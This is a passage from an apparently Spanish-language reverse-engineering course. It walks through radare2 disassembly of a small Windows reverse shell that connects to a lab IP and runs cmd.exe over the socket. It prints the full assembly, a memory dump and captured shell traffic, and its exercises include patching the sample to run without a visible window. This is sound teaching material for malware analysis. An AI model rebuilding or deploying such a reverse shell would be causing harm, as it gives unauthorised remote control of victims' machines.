``` [0x00401550]> pdf / (fcn) sym.doShell 548 | sym.doShell (int arg_3ch, int arg_50h, int arg_58h, int arg_60h, int arg_80h, int arg_82h, int arg_84h, int arg_90h, int arg_228h); | ; var int local_28h @ rbp-0x28 | ; var int local_20h_2 @ rbp-0x20 | ; var int local_18h @ rbp-0x18 | ; arg int arg_3ch @ rbp+0x3c | ; arg int arg_50h @ rbp+0x50 | ; arg int arg_58h @ rbp+0x58 | ; arg int arg_60h @ rbp+0x60 | ; arg int arg_80h @ rbp+0x80 | ; arg int arg_82h @ rbp+0x82 | ; arg int arg_84h @ rbp+0x84 | ; arg int arg_90h @ rbp+0x90 | ; arg int arg_228h @ rbp+0x228 | ; var int local_20h @ rsp+0x20 | ; var int local_28h_2 @ rsp+0x28 | ; var int local_30h @ rsp+0x30 | ; var int local_38h @ rsp+0x38 | ; var int local_40h @ rsp+0x40 | ; var int local_48h @ rsp+0x48 | ; var int local_80h @ rsp+0x80 | ; CALL XREF from 0x00401794 (sym.main) | 0x00401550 55 push rbp | 0x00401551 4881ecb00200. sub rsp, 0x2b0 | 0x00401558 488dac248000. lea rbp, [local_80h] ; 0x80 ; 128 | 0x00401560 48b8636d642e. movabs rax, 0x6578652e646d63 | 0x0040156a 488945d8 mov qword [local_28h], rax | 0x0040156e 488d85900000. lea rax, [arg_90h] ; 0x90 ; 144 | 0x00401575 4889c2 mov rdx, rax | 0x00401578 b902020000 mov ecx, 0x202 ; 514 | 0x0040157d 488b05f46c00. mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x408278:8]=0x849c reloc.WS2_32.dll_WSAStartup | 0x00401584 ffd0 call rax | 0x00401586 c74424280000. mov dword [local_28h_2], 0 | 0x0040158e c74424200000. mov dword [local_20h], 0 | 0x00401596 41b900000000 mov r9d, 0 | 0x0040159c 41b806000000 mov r8d, 6 | 0x004015a2 ba01000000 mov edx, 1 | 0x004015a7 b902000000 mov ecx, 2 | 0x004015ac 488b05bd6c00. mov rax, qword sym.imp.WS2_32.dll_WSASocketA ; [0x408270:8]=0x848e reloc.WS2_32.dll_WSASocketA | 0x004015b3 ffd0 call rax | 0x004015b5 488985280200. mov qword [arg_228h], rax ; [0x228:8]=-1 ; 552 | 0x004015bc 66c785800000. mov word [arg_80h], 2 ; [0x80:2]=0xffff ; 2 | 0x004015c5 b95b110000 mov ecx, 0x115b | 0x004015ca 488b05b76c00. mov rax, qword sym.imp.WS2_32.dll_htons ; [0x408288:8]=0x84b8 reloc.WS2_32.dll_htons | 0x004015d1 ffd0 call rax | 0x004015d3 668985820000. mov word [arg_82h], ax ; [0x82:2]=0xffff ; 130 | 0x004015da 488d0d1f2a00. lea rcx, str.192.168.0.50 ; section..rdata ; 0x404000 ; "192.168.0.50" | 0x004015e1 488b05a86c00. mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x408290:8]=0x84c0 reloc.WS2_32.dll_inet_addr | 0x004015e8 ffd0 call rax | 0x004015ea 898584000000 mov dword [arg_84h], eax ; [0x84:4]=-1 ; 132 | 0x004015f0 488d85800000. lea rax, [arg_80h] ; 0x80 ; 128 | 0x004015f7 488b8d280200. mov rcx, qword [arg_228h] ; [0x228:8]=-1 ; 552 | 0x004015fe 48c744243000. mov qword [local_30h], 0 | 0x00401607 48c744242800. mov qword [local_28h_2], 0 | 0x00401610 48c744242000. mov qword [local_20h], 0 | 0x00401619 41b900000000 mov r9d, 0 | 0x0040161f 41b810000000 mov r8d, 0x10 ; 16 | 0x00401625 4889c2 mov rdx, rax | 0x00401628 488b05316c00. mov rax, qword sym.imp.WS2_32.dll_WSAConnect ; [0x408260:8]=0x846e reloc.WS2_32.dll_WSAConnect ; "n\x84" | 0x0040162f ffd0 call rax | 0x00401631 83f8ff cmp eax, 0xffffffffffffffff | ,=< 0x00401634 7538 jne 0x40166e | | 0x00401636 488b052b6c00. mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x408268:8]=0x847c reloc.WS2_32.dll_WSAGetLastError ; "|\x84" | | 0x0040163d ffd0 call rax | | 0x0040163f 89c2 mov edx, eax | | 0x00401641 488d0dc52900. lea rcx, str.error__d ; 0x40400d ; "error %d \n" | | 0x00401648 e88b160000 call sym.printf ; int printf(const char *format) | | 0x0040164d 488b85280200. mov rax, qword [arg_228h] ; [0x228:8]=-1 ; 552 | | 0x00401654 4889c1 mov rcx, rax | | 0x00401657 488b05226c00. mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408280:8]=0x84aa reloc.WS2_32.dll_closesocket | | 0x0040165e ffd0 call rax | | 0x00401660 488b05f16b00. mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x408258:8]=0x8460 reloc.WS2_32.dll_WSACleanup ; "\x84" | | 0x00401667 ffd0 call rax | ,==< 0x00401669 e9fc000000 jmp 0x40176a | || ; JMP XREF from 0x00401634 (sym.doShell) | |-> 0x0040166e 488d0da32900. lea rcx, str.connecting ; 0x404018 ; "connecting " | | 0x00401675 e856160000 call sym.puts ; int puts(const char *s) | | 0x0040167a 4889e8 mov rax, rbp | | 0x0040167d 41b868000000 mov r8d, 0x68 ; 'h' ; 104 | | 0x00401683 ba00000000 mov edx, 0 | | 0x00401688 4889c1 mov rcx, rax | | 0x0040168b e850160000 call sym.memset ; void *memset(void *s, int c, size_t n) | | 0x00401690 c74500680000. mov dword [rbp], 0x68 ; 'h' ; 104 | | 0x00401697 c7453c010100. mov dword [arg_3ch], 0x101 ; 257 | | 0x0040169e 488b85280200. mov rax, qword [arg_228h] ; [0x228:8]=-1 ; 552 | | 0x004016a5 48894560 mov qword [arg_60h], rax ; [0x60:8]=-1 ; '' ; 96 | | 0x004016a9 488b4560 mov rax, qword [arg_60h] ; [0x60:8]=-1 ; '' ; 96 | | 0x004016ad 48894558 mov qword [arg_58h], rax ; [0x58:8]=-1 ; 'X' ; 88 | | 0x004016b1 488b4558 mov rax, qword [arg_58h] ; [0x58:8]=-1 ; 'X' ; 88 | | 0x004016b5 48894550 mov qword [arg_50h], rax ; [0x50:8]=-1 ; 'P' ; 80 | | 0x004016b9 488d45d8 lea rax, [local_28h] | | 0x004016bd 488d55e0 lea rdx, [local_20h_2] | | 0x004016c1 4889542448 mov qword [local_48h], rdx | | 0x004016c6 4889ea mov rdx, rbp | | 0x004016c9 4889542440 mov qword [local_40h], rdx | | 0x004016ce 48c744243800. mov qword [local_38h], 0 | | 0x004016d7 48c744243000. mov qword [local_30h], 0 | | 0x004016e0 c74424280000. mov dword [local_28h_2], 0 | | 0x004016e8 c74424200100. mov dword [local_20h], 1 | | 0x004016f0 41b900000000 mov r9d, 0 | | 0x004016f6 41b800000000 mov r8d, 0 | | 0x004016fc 4889c2 mov rdx, rax | | 0x004016ff b900000000 mov ecx, 0 | | 0x00401704 488b059d6b00. mov rax, qword sym.imp.KERNEL32.dll_CreateProcessA ; [0x4082a8:8]=0x84da reloc.KERNEL32.dll_CreateProcessA | | 0x0040170b ffd0 call rax | | 0x0040170d 488b45e0 mov rax, qword [local_20h_2] | | 0x00401711 baffffffff mov edx, 0xffffffff ; -1 | | 0x00401716 4889c1 mov rcx, rax | | 0x00401719 488b05486c00. mov rax, qword sym.imp.KERNEL32.dll_WaitForSingleObject ; [0x408368:8]=0x86d4 reloc.KERNEL32.dll_WaitForSingleObject | | 0x00401720 ffd0 call rax | | 0x00401722 488b45e0 mov rax, qword [local_20h_2] | | 0x00401726 4889c1 mov rcx, rax | | 0x00401729 488b05706b00. mov rax, qword sym.imp.KERNEL32.dll_CloseHandle ; [0x4082a0:8]=0x84cc reloc.KERNEL32.dll_CloseHandle | | 0x00401730 ffd0 call rax | | 0x00401732 488b45e8 mov rax, qword [local_18h] | | 0x00401736 4889c1 mov rcx, rax | | 0x00401739 488b05606b00. mov rax, qword sym.imp.KERNEL32.dll_CloseHandle ; [0x4082a0:8]=0x84cc reloc.KERNEL32.dll_CloseHandle | | 0x00401740 ffd0 call rax | | 0x00401742 488b85280200. mov rax, qword [arg_228h] ; [0x228:8]=-1 ; 552 | | 0x00401749 4889c1 mov rcx, rax | | 0x0040174c 488b052d6b00. mov rax, qword sym.imp.WS2_32.dll_closesocket ; [0x408280:8]=0x84aa reloc.WS2_32.dll_closesocket | | 0x00401753 ffd0 call rax | | 0x00401755 488b05fc6a00. mov rax, qword sym.imp.WS2_32.dll_WSACleanup ; [0x408258:8]=0x8460 reloc.WS2_32.dll_WSACleanup ; "\x84" | | 0x0040175c ffd0 call rax | | 0x0040175e 488d0dbf2800. lea rcx, str.shell_closed ; 0x404024 ; "shell closed " | | 0x00401765 e866150000 call sym.puts ; int puts(const char *s) | | ; JMP XREF from 0x00401669 (sym.doShell) | `--> 0x0040176a 90 nop | 0x0040176b 4881c4b00200. add rsp, 0x2b0 | 0x00401772 5d pop rbp \ 0x00401773 c3 ret [0x00401550]>

CÓDIGO / SALIDA
So we start by seeing "cmd.exe" being initialized inside local_28h:

| 0x00401558 488dac248000. lea rbp, [local_80h] ; 0x80 ; 128 | 0x00401560 48b8636d642e. movabs rax, 0x6578652e646d63 | 0x0040156a 488945d8 mov qword [local_28h], rax

CÓDIGO / SALIDA
On situations like this, you may want to use something like afvn to rename that variable to cmdExe or something like that, especially on large programs.

Then the WSAStartup call

| 0x0040157d 488b05f46c00. mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x408278:8]=0x849c reloc.WS2_32.dll_WSAStartup | 0x00401584 ffd0 call rax | 0x00401586 c74424280000. mov dword [local_28h_2], 0 | 0x0040158e c74424200000. mov dword [local_20h], 0 | 0x00401596 41b900000000 mov r9d, 0

CÓDIGO / SALIDA
And an internet socket is created (0,6,1,2)

| 0x0040158e c74424200000. mov dword [local_20h], 0 | 0x00401596 41b900000000 mov r9d, 0 | 0x0040159c 41b806000000 mov r8d, 6 | 0x004015a2 ba01000000 mov edx, 1 | 0x004015a7 b902000000 mov ecx, 2 | 0x004015ac 488b05bd6c00. mov rax, qword sym.imp.WS2_32.dll_WSASocketA ; [0x408270:8]=0x848e reloc.WS2_32.dll_WSASocketA

CÓDIGO / SALIDA
arg_228h will be the var containing the socket descriptor.

Note that eventhough we are not using the socket() call here, it's the same (think about retro compatibilitty stuff)

Then as we see htons and inet_addr we can quickly identify ip/port stuff 

| 0x004015b5 488985280200. mov qword [arg_228h], rax ; [0x228:8]=-1 ; 552 | 0x004015bc 66c785800000. mov word [arg_80h], 2 ; [0x80:2]=0xffff ; 2 | 0x004015c5 b95b110000 mov ecx, 0x115b | 0x004015ca 488b05b76c00. mov rax, qword sym.imp.WS2_32.dll_htons ; [0x408288:8]=0x84b8 reloc.WS2_32.dll_htons | 0x004015d1 ffd0 call rax | 0x004015d3 668985820000. mov word [arg_82h], ax ; [0x82:2]=0xffff ; 130 | 0x004015da 488d0d1f2a00. lea rcx, str.192.168.0.50 ; section..rdata ; 0x404000 ; "192.168.0.50" | 0x004015e1 488b05a86c00. mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x408290:8]=0x84c0 reloc.WS2_32.dll_inet_addr

CÓDIGO / SALIDA
Now we see that 0x10 as well as arg_80h being passed to the socket:

| 0x004015e1 488b05a86c00. mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0 | 0x004015e8 ffd0 call rax | 0x004015ea 898584000000 mov dword [arg_84h], eax ; [0x84:4]=-1 ; 132 | 0x004015f0 488d85800000. lea rax, [arg_80h] ; 0x80 ; 128 [...] | 0x00401625 4889c2 mov rdx, rax

CÓDIGO / SALIDA
0x10 is the size (16) of the sockaddr struct, we can see that easily:

[0x00401628]> pxw @ 0x0022fc70 0x0022fc70 0x5b110002 0x3200a8c0 0x005f2e10 0x00000000 ...[...2.._..... 0x0022fc80 0x02020202 0x00000000 0x777a94e3 0x00000000 ..........zw....

CÓDIGO / SALIDA
As you can easily identify: 0x3200a8c0 == 192.168.0.50 in network byteorder. Be aware of that as most malware programs will already have the thing encoded in byte order to try to avoid basic identification mechanisms 

Then the big StartupInfo struct gets initialized:

| | 0x00401690 c74500680000. mov dword [rbp], 0x68 ; 'h' ; 104 | | 0x00401697 c7453c010100. mov dword [arg_3ch], 0x101 ; 257 | | 0x0040169e 488b85280200. mov rax, qword [arg_228h] ; [0x228:8]=-1 ; 552 | | 0x004016a5 48894560 mov qword [arg_60h], rax ; [0x60:8]=-1 ; '' ; 96 | | 0x004016a9 488b4560 mov rax, qword [arg_60h] ; [0x60:8]=-1 ; '' ; 96 | | 0x004016ad 48894558 mov qword [arg_58h], rax ; rcx ; [0x58:8]=-1 | | 0x004016b1 488b4558 mov rax, qword [arg_58h] ; rcx ; [0x58:8]=-1 | | 0x004016b5 48894550 mov qword [arg_50h], rax ; [0x50:8]=-1 ; 'P' ; 80 | | 0x004016b9 488d45d8 lea rax, [local_28h] | | 0x004016bd 488d55e0 lea rdx, [local_20h_2] | | 0x004016c1 4889542448 mov qword [local_48h], rdx | | 0x004016c6 4889ea mov rdx, rbp | | 0x004016c9 4889542440 mov qword [local_40h], rdx | | 0x004016ce 48c744243800. mov qword [local_38h], 0 | | 0x004016d7 48c744243000. mov qword [local_30h], 0 | | 0x004016e0 c74424280000. mov dword [local_28h_2], 0 | | 0x004016e8 c74424200100. mov dword [local_20h], 1 | | 0x004016f0 41b900000000 mov r9d, 0

CÓDIGO / SALIDA
To be then passed to the CreateProcessA call:

And at this point we are done with the program:

| | 0x004016ff b900000000 mov ecx, 0 | | 0x00401704 488b059d6b00. mov rax, qword sym.imp.KERNEL32.dll_CreateProcessA ; [0x4082a8:8]=0x7756ad60 ; "`\xadVw" | | 0x0040170b ffd0 call rax | | 0x0040170d 488b45e0 mov rax, qword [local_20h_2] | | 0x00401711 baffffffff mov edx, 0xffffffff ; -1 | | 0x00401716 4889c1 mov rcx, rax | | 0x00401719 488b05486c00. mov rax, qword sym.imp.KERNEL32.dll_WaitForSingleObject ; [0x408368:8]=0x774f1050 ; "P\x10Ow"

CÓDIGO / SALIDA
And the connection begins, in wireshark you should see something like this for the commands:

00000097 0a . 00000098 43 3a 5c 55 73 65 72 73 5c 6c 61 62 5c 44 6f 63 C:\Users \lab\Doc 000000A8 75 6d 65 6e 74 73 5c 63 6f 64 65 5c 72 65 76 73 uments\c ode\revs 000000B8 68 65 6c 6c 3e hell> 00000001 64 69 72 0a dir. ``` Como puedes ver, es simplemente texto plano enviado y recibido. Y eso es un problema, ya que algunos IDS como Snort o Suricata se pueden configurar fácilmente para detectar y bloquear este tipo de tráfico…

Ejercicios: - Usa r2pipe para registrar las conexiones en el programa de la bind shell - Mapea esas estructuras como processinfo para tener una vista más limpia al hacer reversing - Parchea el programa para que actúe sin mostrar ninguna ventana

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.